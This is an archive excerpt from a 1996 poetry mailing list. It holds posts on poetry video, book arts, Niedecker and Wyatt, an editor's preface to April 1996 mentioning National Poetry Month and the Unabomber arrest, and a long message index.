Last night a lovely event was held chez moi. a potluck, sunset-over-the-ocean-watching, United States of Poetry video watching party. about 12-15 of us, lots of different kinds of folks, let's see: Julie Chang came down from Boston College, Beth Swanson Goldberg late of Miami U-Ohio, Michelle the wedding photographer, Mark the research engineer from New Zealand and his friend Julie, Dave the computer modeler from the Woods Hole Oceanographic (or is it the marine bio lab?), carol the yoga teacher, Susie the reiki therapist and home-schooler, Ron the photojournalist, patti the social worker, debbie the mother, spike and isabel the kids, herb the businessman-turned oceanographic lab technician, alll brought food and lay on the floor and/or sofas with down comforters and watched...poetry! to eat there were figs and strawberries, chicken stew, two roasted chickens, vegetarian rice salad w/ raisins and avocado, wheatballs in tomato sauce, organic greens salad w/ balsamic vinaigrette, an exquisite middle eastern platter made by beth's husband the world class chef, organic apple pie and ice cream, pesto pizza, girl scout cookies (chocolate mint, they went fast), chips and salsa, wonderful coffee with whipping cream (doubling as stuff to put on strawberries), spinach-and-cheese dumplings, and other feasty foods. everyone loved the videos, there was a flurry of excitement when the 800 number came on the screen to order the video set and the book. I had the book too and that made the rounds dduring and after the "screening". the teachers

(julie, beth, and susie were excited about showing this to students, college students and home-schoolees), there were many comments about "I'm not a poetry person, but this is great!" and "why didn't they show us this kind of stuff in English classes?" big faves were maggie estep in big capital letters (her lines were quoted long into the night), john wright, tracie morris, pearl cleage and quincy troupe, the i hate james joyce guy, pedro pietri, and, to coin a phraase, others too numerous to mention. there was also a fair amount of excitement cuz bob holman was known to some of the long-time woods hole dwellers; i showed the "spoken word unplugged" mtv tape afterwards (for the maggie estep diehard contingent) and there was bob, doing his rap piece, folks that had known him many years ago were delighted. we decided to have a writing night sometime before i leave, why oh why didn't i do this earlier, o well that's the way it wuz meant to be i guess... it was really great seeing people get turned on to poetry, many of whom had not liked poetry before , cuz they found it "depressing." in the middle of the whole thing, my tax lady called (saturday night???) and sed i'd be getting a "substantial" return. so, what could be better. an evening with food, sunshine, sunset, a comet (which everyone went out to watch during breaks in the video), poetry, and a promise of buckeroonies. today's another beautiful day, promises to be high 50s and sunny, there's fishing boats and a large research vessel off the beach, and what am i doing inside glued to my repetitive-strain-injury-causing machine here? guess i just wanted to tell everyone about the evening. Thanks, nuyopoman, for all inspiring poetry activism.
maria d

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735. **Michael Boughn**

Re: M, irony, Niedecker, "the equilibrists"

Sun 31 Mar 1996

> *Finally, I heard a rumour that the reason I've never seen a _Collected Poems of Lorine Niedecker_ for sale is that they were stored in a warehouse in North Carolina and the warehouse flooded. Terrible irony, if true ("My Life by Water"...!) Does anyone know whether the poems that weren't in _The Granite Pail_ will ever be made available again (or whether they're available now)?*

I recently heard from Peter Quartermain that Jenny Penberthy has been preparing a a new edition of the Collected which rectifies editorial errors in previous editions. Should be out shortly.

Mike
[redacted]

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736. Michael Boughn
Re: gristle is as (?)
Sun 31 Mar 1996

> *Mike--*
>
> *I always thought so, but remember the guy with whom I did my 16 & 17 C poetry, Seymour Kleinberg, saying that those qualities may not have been there for a conotemporary audience: re off-rhyme in, esp, Donne, say, but also re rhythmic syncopations, that they may not have been heard that way esp. when the words were set.*

Tenney:

What was K's point? That Elizabethans couldn't hear the difference? That it wasn't a difference within the structures that governed sonal significations? It's a fascinating idea, but Donne's moves, in terms of sound, structure and content seem so clearly organized in response to that earlier material. Is K's position part of that skeptical scientizing "intentional fallacy" business?

How about this from Wyatt:

> Why then, Alas, did it not kepe it right,
> Retorning to lepe into the the fire,
> And where it was at wysshe it could not remain?
> Such mockes of dremes they torne to dedly pain.

Would K argue that all 16th and 17th c. readers and listeners would hear this as iambic pentameter? But poets would always know the difference, wouldn't they, even if others couldn't hear?

Mike

[redacted]

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737. Tardos Mac Low
NYC poetry talks
Sun 31 Mar 1996

Dear Jordan,

Please give my regrets to those at the poetry talks since I cannot stop working right now on things that have to be done by 27 April for our concert at Roulette. The sesssions sound great.

Jackson Mac Low

[redacted]

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738. Herb Levy
Re: Queneau's sonnet machine
Sun 31 Mar 1996

Thomas Orange asks (about Queneau's Cent mille millards de poemes):

> *Any chance that Gallimard will ever actually allow this text to get marked up into HTML and stored on the WWW so that it can truly run like the well-oiled sonnet machine that it wants to be? And in a bilingual edition maybe....*

Here's the URL for a monolingual version, not by Galliamard.

<http://www.labri.u-bordeaux.fr/~goudal/htbin/Miliards/poemes-direct.cgi>

Bests,

Herb

Herb Levy
[redacted]

↑ Index

739. Tony Green
Re: raw stein & cooked sonnets to go
Sun 31 Mar 1996

is the problem of The Sonnet, that satisfying formal protocols is no guarantee of a poesis of any use or interest or value? The Haiku? The Blues? oft revisited sites of similar argument? My spell checker does not recognise poesis.

Tony Green,
e-mail: [redacted]

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740. Charles Alexander
Re: assemblings and multi-media books
Sun 31 Mar 1996

Thanks, Ward Tietz, for pointing out the connections of book arts to mail art, as well as for pointing to the work of Davi Det Hompson and others. I think if as many people as possible join this conversation it will be helpful, as I know I can not catalogue all the varieties of work out there.

Part of the difficult, as well as part of the richness, is that book art comes from many sources. One source is a tradition of fine printing revived at the end of the 19th Century by William Morris and his Kelmscott Press, but also in somewhat different artistic visions by Doves Press and Ashendene Press at close to the

same time. Compared to Morris's Kelmscott books, Doves books are elegant but spare, the typographer may be said in some sense to disappear. Beatrice Warde, noted type historian, later made a metaphor of the typographer's art as a fine clear wine goblet, enabling the glow of the wine to shine through but not calling undue attention to itself. What has come down, however, as this tradition has evolved, ranges from similar spare print on fine white papers, to bookmakers such as Walter Hamady whose books certainly are beautiful, but who makes wide use of colors, textures, collage images, and more. And Walter is one of the few in this field who has consistently worked with contemporary writers, publishing books from the mid-1960's to the present by writers such as George Oppen, Robert Creeley, Robert Duncan, Diane Wakoski, and many more. His books tend to work as sumptuous but not disappearing homes for the texts they present. Another noted fine printer of the last fifty years is Harry Duncan (last I heard he was still alive, probably in his late 70's if not older), whose typographical/book design sense is much more subdued. Both of these have produced a lot of students (I was one of Hamady's), but not many of these students necessarily remain that close to the work of their teachers.

But this is only one source of book arts, which I take to include fine print, livres d'artiste, artist's books, conceptual books, sculptural works which refer to the book form, some but not all photographic books, some but not all mail art, and some but not all concrete/visual poetry. And I'm sure I've missed something.

I'm not sure there was much sense of the term book arts before about the mid-1970's, when the Center for Book Arts formed in New York. Richard Minsky is the founder (he has a web site with a gallery of his works and I don't know the URL but if you have NetScape you cand o a NetSearch for Minsky and find it; you can also hit the chax site which is very modest at http://www.bookarts.org/chax/ for varius links). Minsky comes from a traditional and fine bookbinding background, but he has made several altered books (where an existing book has been altered in some way by an artist to form something altogether different, perhaps the most famous example of which is Tom Phillips's A Humument). Minsky comes out of the fine craft tradition but he also makes these sculptural books. My guess is also that he's quite aware of Fluxus.

I'm just meandering here and I'm going to keep doing so for a while, then stop.

Since Johanna Drucker's work has come up, I'll mention that she began setting and printing type letterpress and her first few books were of her texts in various kinds of type, both with and without illustration, some works where in essence the type becomes the message as well as the medium. But in recent years she has also produced work she designed in an offset print studio, and she has produced work she designed on computer which then was printed by an

artists' book printer. She is married to such an offset printer, Brad Freeman, who has also produced several visual artist's books (generally with little or no text) in his own name, which are quite marvelous. He has also curated an exhibition, which first was mounted by Granary Books in New York, of offset-printed artists' books from across the United States. Perhaps one benefit of this exhibition was wider exposure to at least two artists who were photographers and printers making books before people ever started talking about the book arts, specifically Joe Ruther in Florida (who is one of Brad's teacher/mentors) and Todd Walker in Tucson, Arizona. Both of these artists produce very personal, irreverent combinations of text/image in book form. Both are worth attending to.

In her The Century of Artist's Books Johanna Drucker noted Chax as one of a very few presses trying to use the form and structure of the book in combination with contemporary innovative literary texts. That is what Chax (in its handmade editions, not in its trade paperbacks) tries to do, and I think there are some others who have done that, particularly The Salient Seedling Press of Katherine Kuehn in Albuquerque, and several of the works Granary Books has published. Granary is different in that it is directed not by an artist but by Steve Clay, who chooses projects and commissions artists to make books. These collaborations are always interesting and nearly always defy my expectations that commissioned books aren't going to be as interesting as books which begin with the artists. It's a kind of magic Steve has. Those books are quite diverse, ranging from a mostly painted book by Susan Bee with snippets of text in it, to work by John Cage in which the book finds its form in and around the finely printed text. Chax books tend to be low in the fine press price spectrum, at generally under $100 (a couple more than that). Granary prices have ranged from under $100 to more than $1,000. So it's true that one is not likely to find these books in many bookstores, but also not in many art galleries. A lot of the market is developed over years and continued by word of mouth, by travels to rare book librarians and curators, collections, a few dealers, etc.

There are various rifts in the book arts world. I have a constant argument against most "fine presses" which I think are entirely unimaginative in texts they choose to print, and often entirely predictable in the book forms they issue. But I can think of lots of exceptions. And I love mail art and visual poetry and irreverent bookmakers. But when I had one such, Steve Kranz, a young bookmaker and writer of note, come to Minnesota Center for Book Arts and lead a class on making books from everyday materials, I actually received a letter later from one student who was decidedly put off by Kranz's lack of care for such things as proper grain direction in paper.

So, in this long post which hasn't had much structure I'll just close by saying that though the sources include Fluxus & mail art & livres d'artiste by such as

Matisse & Delaunay, and the experimental typography and publications of Futurists and Dadaists, and the fine print history, it's also true that, partly due to the increased presence of binding and papermaking and other book arts classes in centers like Center for Book Arts in New York and Minnesota Center for Book Arts, but also in community arts programs and some colleges, that a lot of the participants in the book arts come to it from a crafts-learning perspective and don't know a lot about the history. And I find it unfortunate that a lot don't care about that history and about its dynamic possibilities in the present. But there are some who do.

I'm glad to chip in with more as people want to continue this thread.

charles

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741. **Charles Alexander**
Re: assemblings and multi-media books
Sun 31 Mar 1996

>This style of work tends to
>be cruder and more ad-hoc than most of the work Charles Alexander described, but
>it is able to investigate the idea of assembly more fully as a result.

I really like what Ward Tietz says here about investigating the idea of assembly. Could you say more about this, Ward? Do you mean to suggest that, because it isn't consciously a fine craft seeking technical seamlessness, that more ad-hoc work thereby exhibits its assembly more openly, and experiments with it more avidly?

If so, I guess I'd think this is true in comparison with more traditional book arts in general, but again it's the exceptions to the seamless book which I tend to find more interesting, even if they are sometimes on the margins of the less ad-hoc field of work.

charles

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742. **Charles Alexander**
Re: Question regarding "Spicer in Context" Conference 1986 &
Sun 31 Mar 1996

Responding to Joshua's question about Talking the Boundless Book. It is a compilation of talks given on panels during the 1994 symposium at Minnesota Center for Book Arts titled Art & Language: Re-Reading the Boundless Book -- there

was a corresponding exhibition of that name which traveled to a few sites around the country.

Since they are essentially talks, there is a distinct informality to these pieces, particularly as some of the presenters are artists not very accustomed to giving such talks. There's also an extremely wide breadth to the kinds of people included in the symposium and their interests, which was the strength of the symposium; but it's also true that because of this breadth, there is a corresponding lack of depth. People were primarily presenting their work and/or ideas, and not working with others on panels to build a conversation/dialogue. Still, it was one of the more interesting gatherings in the book arts in recent years. For one overview, you might see Johanna Drucker's essay in JAB (Journal of Artist's Books, second issue), which reports on this and two other symposia or panels in the book arts.

I'll give the table of contents. The book should be in at least a few bookstores, but it can also be ordered from Minnesota Center for Book Arts (MCBA), 24 North Third Street, Minneapolis, MN 55401; [redacted]. MCBA is much in transition right now, without a director for 7 months now (I was the last one), and recently has lost other staff as well. Recent news is a considered move to Minneapolis College of Art & Design. But they should still be taking care of book sales.

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Brad Freeman

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Karen Wirth

The book was published by Minnesota Center for Book Arts in 1995. Its price is $15.95.

charles

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743. Tim Wood
Poetry Video
Sun 31 Mar 1996

Hello all...

I'm doing research into poetry video. I've already contacted a number of people in Chicago, SF and the NE, but I'm still looking for additional material. This would include all the usual primary and secondary suspects. Of course, even a name or an idea would be welcome...

thanks,
Tim Wood

in space no one can hear you scream in Dallas no one cares...

Check out the Voices new poetry website at http://www.connect.net/twood/
the Word, Dallas' monthly arts guide: http://www/connect.net/twood/word.html
poetry & video poetry ---- graphic design & database development

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744. tosh berman
Re: Poetry Video
Sun 31 Mar 1996

> *Hello all...*
>
> *I'm doing research into poetry video. I've already contacted a number of people in Chicago, SF and the NE, but I'm still looking for additional material. This would include all the usual primary and secondary suspects. Of course, even a name or an idea would be welcome...*
>
> *thanks,*
> *Tim Wood*
>
> *in space no one can hear you scream*
> *in Dallas no one cares...*
>
> ---
> *Check out the Voices new poetry website at http://www.connect.net/twood/*
> *the Word, Dallas' monthly arts guide: http://www/connect.net/twood/word.html*
> *poetry & video poetry ---- graphic design & database development*

I am sorry, I don't see any reason why there should be "poetry video." Poetry was always the first art that propelled the arts. And now, it seems that poetry (at least on a commercial level) is following the other arts.

If one is looking for video poetry I suggest the cinema of Cocteau, Bunuel, Sam Fuller, Kenneth Anger, Louis Feuillade, Fritz Lang, Ed Wood Jr., Ozu, and perhaps the master of poetic cinema - Buster Keaton. "Literal" videos on poetry is boring, and I might add for all its good intentions & good to interesting poets who participated in - The United States of Poetry - it is still a big bore. And really I don't care if it makes people who are not interested in poetry all of sudden become interested in poetry - it is still a bore. Sorry to be so harsh, but it is just a thought among other thoughts.

tosh

↑ Index

745. Thomas Bell
Re: raw stein & cooked sonnets to go
Sun 31 Mar 1996

Betwixt and between the cooked and the raw

I feel that poetry exists on the edge between the raw and the cooked, rather than being one or the other. It is voice in David Appelbaum's sense ("Voice that escapes the written or spoken page is deeply organic and fraught with the problem of human suffering."). It is Susan Griffin's plum ("The plum has been

my lover. And I have known the plum. Letting the plum into the mind of my body, I will always have the taste of sweetness in my memory.") before it is paled "In texts and words which will grow more pale the further away they are placed from life."

\tom

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

April 1996

667 messages · Mon 1 Apr 1996 – Tue 30 Apr 1996

On the first of April the President proclaimed the first National Poetry Month, an invention of the Academy of American Poets, who had noticed that Black History Month worked and saw no reason poetry should not be marketed likewise. On the third, in a plywood cabin in Montana, the Bureau arrested a man who had spent seventeen years mailing bombs and who had, the previous September, obliged the Washington Post to print thirty-five thousand of his words entire by promising to stop killing if it did. Both reached the list, and the room noticed the second more than the first. April was the month poetry went looking for an audience, and the month it was reminded what an audience can cost.

The looking was done on television. Bob Holman's The United States of Poetry had begun airing, and some sixty letters across four threads went to poetry video — whether the camera serves a poem or eats it, whether Godard is any use to a poet, whether Buster Keaton was already doing it. Then Holman turned up mid-quarrel, delighted to find it going on, and made the case plainly: *"Poetry for me provides voice for the unheard"* — no expert, no footnote, the poem straight down the wire. Maria Damon, who wrote forty-nine times that month and had screened the thing at Woods Hole in March, was at the centre of it.

The quarrel took its shape from a flyer. Charles Alexander posted somebody's National Poetry Month leaflet and dismissed it as culture with a capital Q; Kim Tedrow, a Minnesotan, opened a thread to say she *"read it as non-complimentary"*, and eighteen letters followed on whether the Twin Cities were culturally vapid, whether a poetry reading held in the Mall of America was a joke or a mission, and whether there was any such thing as Minnesota-ishness at all. David Baratier answered with an inventory of the micro-presses working within thirty miles of the mall. Alexander, to his great credit, gave ground: *"If the audience for poetry is broadened, no one loses"*.

The mall would not go away, and became the month's best thread by being its least earnest. Michael Boughn observed that *"Glenn Gould loved to hang out in malls"* for their magic, and asked whether Americans knew who Glenn Gould was. Mary Rising Higgins wanted to know how one buys throwaways while a man gives his life to a composition, and declared she would *"never hear Glenn Gould in a shopping mall"*. Wystan Curnow, having read the whole business, delivered the verdict: *"The writing is in the Mall"*. A pianist who quit the platform because

he could not bear the audience, haunting the one place the audience actually is — the room had found its emblem and did not quite say so.

And Pound, over whom this same room had agonised for fifty letters in March, came back in April as a punchline. On the fifth, two days after the arrest, Chris Stroffolino announced that his favourite poetry video was THE ADDICT WHICH IS DESIRE, *"starring the UNABOMBER as Ezra-Pound"*. It is a joke, and a bad one, and it is the truest sentence in the month: a writer who wanted no readers had just obtained the largest readership in America by the only means that has never failed, and the poets — proclaimed, televised, shelved beside the food court — saw the resemblance and could do nothing with it but laugh. I have kept the flyer and the mall and the cabin in the order April sent them, because the room argued all month about the price of being heard, and only Stroffolino, joking, ever named the figure.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 667 in all.

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421. Walter K. Lew — Re: malls
422. Charles Alexander — Re: Fargo

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424. mikl-em — Re: Elmslie
425. James Perez — short films
426. chris daniels — elvis costello/capt beefheart/malls
427. Allen B. Dye — Purloined Letter
428. Daniel Bouchard — Re: Massachusetts
429. Michael Boughn — Re: minnesota
430. Michael Boughn — Re: malls
431. KUSZAI — why be anonymous?
432. Aldon L. Nielsen — Re: the last straw and the turkey in it
433. Joe Amato — Re: Purloined Letter
434. Joel Felix — Re: ELMSIE
435. Henry Gould — Re: anonymous
436. Maria Damon — Re: why be anonymous?
437. David Kellogg — Orono: need roomie
438. Kevin Killian — Re: minnesota
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440. Chris Stroffolino — Re: guided by payment? t(o)eacher Cale. et Richman
441. Robert A Harrison — Re: why be anonymous?
442. Michelle Roberts — Re: diu
443. Lisa Samuels — The future of communication (fwd)
444. Jeffrey W. Timmons — Re: Place
445. Michelle Roberts — Re: minnesota
446. Jeffrey W. Timmons — darkly wise
447. Michelle Roberts — Re: malls
448. Kevin Killian — SPT book consignments
449. Jordan Davis — Re: Ziolkowski's "Our Son the Arson" is out
450. Daniel Bouchard — Re: malls
451. Jeffrey W. Timmons — Re: minnesota
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453. Emily Lloyd — Re: darkly wise
454. Jeffrey W. Timmons — Place/fractures
455. Alan Sondheim — Re: minnesota
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457. Maria Damon — Re: Orono: need roomie
458. Jeffrey W. Timmons — Re: darkly wise
459. Sheila E. Murphy — Re: Place/fractures
460. Jordan Davis — E-L-M-S-L-I-E
461. Emily Lloyd — Re: darkly wise
462. Emily Lloyd — orono & wise
463. Franklin Bruno — malls
464. Maria Damon — Re: why be anonymous?
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466. Wystan Curnow — Re: Place
467. Charles Bernstein — Attention New Subscribers!
468. William R Howe — minn stuff
469. Stephen Galen Cope — Re: malls
470. Chris Stroffolino — Re: minnesota
471. Chris Stroffolino — Re: Massachusetts
472. J. Beer — like a bolt of frabric... (fwd)

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474. William M. Northcutt — Re: POETICS Digest - 15 Apr 1996 to 16 Apr 1996
475. David Kellogg — Re: orono & wise
476. Maria Damon — (no subject)
477. Mark Wallace — diu and thoreau
478. Burt Kimmelman — Searching for Pam Rehm / Poetry New York Reading and Party
479. Henry Gould — Sir Edwin
480. Christopher Reiner — Parshchikov Update
481. Michelle Roberts — (no subject)
482. Michelle Roberts — Re: minnesota
483. Michelle Roberts — Re: minnesota
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485. Emily Lloyd — Re: 60's hangovers/place
486. David Baratier — ghost books
487. Christopher Filkins — Re: Parshchikov Update
488. Alan Sondheim — Heather
489. Wystan Curnow — Anthologies

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493. Mark Roberts — AWOL: Heather Cam's book launch (forwarded)
494. Ken Edwards — like a bolt of fabric...
495. Michael Boughn — Re: Place
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497. Bill Luoma — Help with Michel Butor
498. Jeffrey W. Timmons — Re: diu and thoreau
499. Henry Gould — Re: Help with Michel Butor
500. Michael Leddy — Bad Poetry
501. Robert Drake — Re: Help with Michel Butor
502. Daniel Bouchard — Re: like a bolt of fabric...
503. Aldon L. Nielsen — Re: Virgina Cure
504. Jeffrey W. Timmons — Re: Place
505. Eryque Gleason — Re: Bad Poetry
506. Jeffrey W. Timmons — Re: minnesota
507. Jeffrey W. Timmons — hang/over
508. Jeffrey W. Timmons — Re: 60's hangovers/place
509. Michael Coffey — Re: Place -Reply
510. Emily Lloyd — Re: Virgina Cure
511. Ward Tietz — Re: Help with Michel Butor
512. Michael Leddy — Re: Bad Poetry
513. Daniel Salmon — Re: like a bolt of fabric...
514. Louis Cabri — Re: Help with Michel Butor
515. Dodie Bellamy — Norma Cole/Rodrigo Toscano Tonight!

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516. William M. Northcutt — bad poetry
517. Eryque Gleason — Re: bad poetry
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519. Joe Amato — Re: 60's hangovers/place
520. Schuchat — Re: bad poetry
521. Karen or Peter Landers — Re: Place
522. Michael Leddy — Bad Poetry
523. Pierre Joris — Heidegger & Celan essays
524. Ken Edwards — like a bolt of fabric...
525. John Geraets — Re: Anthologies

526. John Geraets — Re: Place
527. Peter Larkin — Michel Butor
528. Peter Larkin — Michel Butor
529. Loss Glazier — Live from the Duncan Conference
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531. Daniel Bouchard — Re: Live from the Duncan Conference
532. henry gould — Re: contrasimilitudinal
533. David Baratier — contrasimilitudinal
534. Daniel Bouchard — poetry and audience in the nation

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535. Louis Cabri — Re: Michel Butor
536. Aldon L. Nielsen — Re: Patchen & Mingus
537. JOEL LEWIS — Re: poetry and audience in the nation
538. Herb Levy — Re: poetry and audience in the nation
539. Louis Cabri — benson, coolidge & inman

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541. Larry Price — Re: benson, coolidge & inman
542. JOEL LEWIS — Re: benson, coolidge & inman
543. Matthew Gary Kirschenbaum — Re: Live from the Duncan Conference
544. Wystan Curnow — Re: benson, coolidge & inman
545. klobucar — LIVE INTERNET READING EVENT
546. Daniel Salmon — (no subject)
547. Chris Stroffolino — Re: poetry and audience in the nation
548. Mustafa Ziyalan — Turkish poetry on WWW
549. Bob Holman — USOP

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550. Kevin Killian — Ron Silliman Live in San Francisco!
551. Kevin Killian — Erica Hunt/Camille Roy in San Francisco
552. Kevin Killian — place can be cute too
553. Mark Wallace — thoreau, civil disobedience
554. Daniel Bouchard — Re: Oppen's magazine publishings etc.
555. Jordan Davis — can't play (skinny arms)
556. Burt Kimmelman — Oppen's magazine publishings etc.
557. Burt Kimmelman — Re: Oppen's magazine publishings etc.
558. Jordan Davis — allegory, faith, poetry, metonymy, hike
559. Robert A Harrison — forward: flower
560. KUSZAI — New from Meow Press: Robert Duncan's _Copy Book Entries_
561. Nicole Hoelle — (no subject)
562. Steve Carll — Re: Bay Area Readings

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565. Henry Gould — Prov. RI reading
566. Aldon L. Nielsen — Re: Erica Hunt
567. Burt Kimmelman — Re: Oppen's magazine publishings etc.
568. Douglas Messerli — Re: Turkish poetry on WWW
569. Jeffrey W. Timmons — Re: thoreau, civil disobedience
570. David McAleavey — Re: Oppen's magazine publishings etc.
571. David Kellogg — Wanda Coleman
572. Steve Carll — I found this on a local board. I have NOT verified it.
573. Tony Green — Re: can't play (skinny arms)
574. Aldon L. Nielsen — Re: Theresa Hak Kyung Cha

575. Tony Green — Re: I found this on a local board. I have NOT verified it.
576. Steve Carll — Re: can't play (skinny arms)
577. Walter K. Lew — Re: thoreau, civil disobedience
578. Walter K. Lew — Re: Theresa Hak Kyung Cha
579. Walter K. Lew — Re: USOP
580. Jeffrey W. Timmons — Re: thoreau, civil disobedience

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581. Colleen Lookingbill — S.F. Reading Albon/Torra
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585. Ron Silliman — Re: Oppen's magazine publishings etc.
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587. Fred Muratori — Re: Oppen's magazine publishings etc.
588. Emily Lloyd — lesbo premonitions
589. Loss Glazier — Your favorite listserv
590. Joe Amato — poetry (the journal)...
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592. Joe Amato — mummies, mommies, etc...
593. Maria Damon — Re: USOP
594. Rachel Blau DuPlessis — Re: Oppen's magazine publishings etc.
595. Michael Coffey — Re: Erica Hunt -Reply
596. Jerry Rothenberg — (no subject)
597. Kevin Killian — Re: Live from the Duncan Conference
598. Burt Kimmelman — Re: Oppen's magazine publishings etc.
599. Aldon L. Nielsen — Re: Oppen pubs --
600. Kevin Killian — Help w/Ginsberg Archive
601. David McAleavey — Re: Oppen pubs --
602. Chris Stroffolino — looking for liz brennan...
603. Jordan Davis — Poetry City April 25
604. Eryque Gleason — Re: lesbo premonitions
605. Bob Holman — USOP
606. Anne Tardos — Steve McCaffery's new address?

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608. Tim Wood — A Prayer for our times,,,
609. Ron Silliman — Bleach Bottle Pig Farm
610. Kenneth Goldsmith — New New Music URL's of interest
611. Joe Amato — kunitz...
612. chris daniels — FW: Bleach Bottle Pig Farm
613. Jordan Davis — self as bleach
614. Gabrielle Welford — Situation in the Middle East: An account (fwd)

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615. klobucar — Re: Live INTERNET READING
616. Michael W. Waugh — Text as Image (painting programs)
617. Rachel Blau DuPlessis — Re: Oppen's magazine publishings etc.
618. Aldon L. Nielsen — Re: POETICS Digest -
619. main — Re: re; allegory, faith, etcetera
620. David Baratier — re; allegory, faith, etcetera
621. Jordan Davis — Re: allegory, faith, neutrality, poetry
622. Ken Norris — Re: POETICS Digest - 24 Apr 1996 to 25 Apr 1996

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623. Eryque Gleason — Re: POETICS Digest -

624. Herb Levy — Re: poetry and audience in the nation
625. Jeremy F Green — Re: Macsweeney / Cambridge Poetry Conference
626. David Ayre — Vancouver writers/Real Audio
627. { brad brace } — Uomo che brucia ha Trascrivuto

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628. Chris Tietjens — Memo from Nemo
629. Tony Green — Re: allegory, faith, neutrality, poetry

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630. k.a. hehir — Re: allegory, faith, neutrality, poetry
631. Mark Roberts — Re: I found this on a local board. I have NOT verified it.
632. Mark Wallace — OPEN LETTER TO BOB HOLMAN
633. Jordan Davis — literal, moral, allegorical, analogical
634. Mark Jones — New Chapbook
635. Jordan Davis — Re: literal, moral, allegorical, anagogical
636. Peter Larkin — Cambridge Conference on Contemporary Poetry
637. David Baratier — The common decency of allegory
638. Jordan Davis — eyes without efface
639. Kevin Killian — (no subject)
640. Joseph Zitt — Re: Vancouver writers/Real Audio
641. George Bowering — XXXX.

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642. Eryque Gleason — (no subject)
643. Alan Sondheim — Re: your mail
644. George Bowering — Re: XXXX.
645. Happy Genius — Happy Genius seeking submissions
646. William Northcutt — 17th International Ezra Pound Conference
647. Aldon L. Nielsen — Re: USOP
648. Mark Jones — Re: Writing from the Body
649. Mark Roberts — Re: XXXX.
650. Charles Alexander — writing through
651. Michael Coffey — writing through -Reply
652. Fred E. Maus — Re: writing through -Reply
653. Michael Coffey — writing through -Reply -Reply
654. Eryque Gleason — Re: Writing from the Body
655. Michael Coffey — Re: writing through -Reply -Reply
656. Henry Gould — Re: writing through -Reply -Reply
657. Henry Gould — sestina here goes
658. Emily Lloyd — Jouissance, schmouissance, Stein
659. Charles Alexander — Re: writing through -Reply -Reply
660. Emily Lloyd — Re: writing through -Reply -Reply
661. Jordan Davis — creeley through th'
662. Bob Holman — AN OPEN REPLY TO MARK WALLACE
663. Walter K. Lew — Allegorical Bore/Encomiastic Firepower/Fish Phones
664. Walter K. Lew — Korea, malls, etc.
665. George Bowering — Re: writing through -Reply -Reply
666. Gabrielle Welford — Poets and Writers: A Definitive Scientific Study (fwd)
667. Tom Beard — the sound of Creeley

1. chris daniels

FW: Re: raw stein & cooked sonnets to go

Mon 1 Apr 1996

--- On Sun, 31 Mar 1996 20:28:58 -0800 Thomas Bell <[redacted]> wrote:

> *Betwixt and between the cooked and the raw*
>
> *I feel that poetry exists on the edge between the raw and the cooked, rather than being one or the other. It is voice in David Appelbaum's sense ("Voice that escapes the written or spoken page is deeply organic and fraught with the problem of human suffering."). It is Susan Griffin's plum ("The plum has been my lover. And I have known the plum. Letting the plum into the mind of my body, I will always have the taste of sweetness in my memory.") before it is paled "In texts and words which will grow more pale the further away they are placed from life."*
>
> *\tom*

tom ---

thank you for that --- i feel pretty much the same way abt my own writing

i have no set notion of what my writing shld be and if i felt the pressure to write a sonnet for instance i wld most certainly write a sonnet w/o a moment's hesitation --- if i felt it to be an honest poem, i wld keep it, show it to people --- otherwise i'd simply trash it, no matter how well it tasted raw, cooked or both

and if i ever in my life write one line that sincerely witnesses even the smallest portion of human suffering, or shows forth my living, i will die content that i have done something humane, worthy of my aspiration

later

chris

---

christopher daniels <[redacted]> 3.31.96 11:31:38 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wuorinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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2. Jeffrey Timmons
Re: artists' books
Mon 1 Apr 1996

---

just a note: the new book as art show at the National Museum of Women in the Arts is opening soon. more details can be provided if anyone were interested.

jeffrey timmons

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3. Gwyn McVay
Re: Announcing _Broken English_ by Dodie Bellamy & Bob Harrison
Mon 1 Apr 1996

Hey Joel,

Still eagerly waiting for my first order, but such a book fiend I'd like to take you up on your 7-for-5 offer again:

Bellamy/Harrison, _Broken English_
Djuric, _Cosmopolitan Alphabet_
Surakovic, _Pas Tout_
Friedlander, _Anterior Future_
James Sherry, _4 For_

Bill Tuttle, _Epistolary Poems_
Jonathan Brannen, _Glass Man_ etc.

I think this comes to $27--is that right?

Gwyn

↑ Index

4. Alan Sondheim
For Nicanor Parra
Mon 1 Apr 1996

For Nicanor Parra

I came into cyberspace
in order to look at myself. I would
stand aside from myself and from my fingers.

I would look at language in orderly rows
coming from my mouth. A woman would flow
and she would create a thing. I would rush
into familiar words and at times
in the middle of a conversation
I would run into a conversation. A general
would appear carrying swords and knives and
a warrior. The white screen would never
beckon the dark, nor the grey, the color of
death. Colors poured into a vise a carpenter
would build with letters. The first building
was the building with letters. I have traced
you back, computer through computer, tool
behind tool, entire genealogies at work until
the very beginning. Here, I found
hand-axes starting to strike
metal. The metal was a dagger or a knife and I
could hear speech in the dagger, colors
glistened in the knife. Later,
there would be a wheel, and later, a pulley.
On a ceiling a pulley turned where belts
connected steam to tools milling shanks
for motors, electric relays, turned carbon
for telephones and lamps. Someone spoke
beneath the lamp and all was lost. Electrons
rushed in vacuo; things started turning and
memorized the axe into this space. Then,
I would watch this space, looking for signs
of me. I would look at myself and a woman.

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5. Michael Boughn

Spicer and art

Mon 1 Apr 1996

I haven't yet been able to find the name of the book of Fran Herndon's collages, but was reminded that she produced lithographs to accompany the poems in the Auerhahn edition of _Heads of the Town Up to the Aether_.

Mike

↑ Index

6. Jordan Davis

new york city talks--saturday

Mon 1 Apr 1996

I was unable to get to the Friday night reading at St. Mark's Church, the (welcome reading) as it was called on the flier. I hope someone will report in detail. On the roster to read were: Michael Heller, Michael Basinski, Jeff Derksen, Chris Funkhouser, Joel Kuszai, and Kristin Prevallet (Lisa Robertson and Cole Swenson were also scheduled, but couldn't make it to the conference).

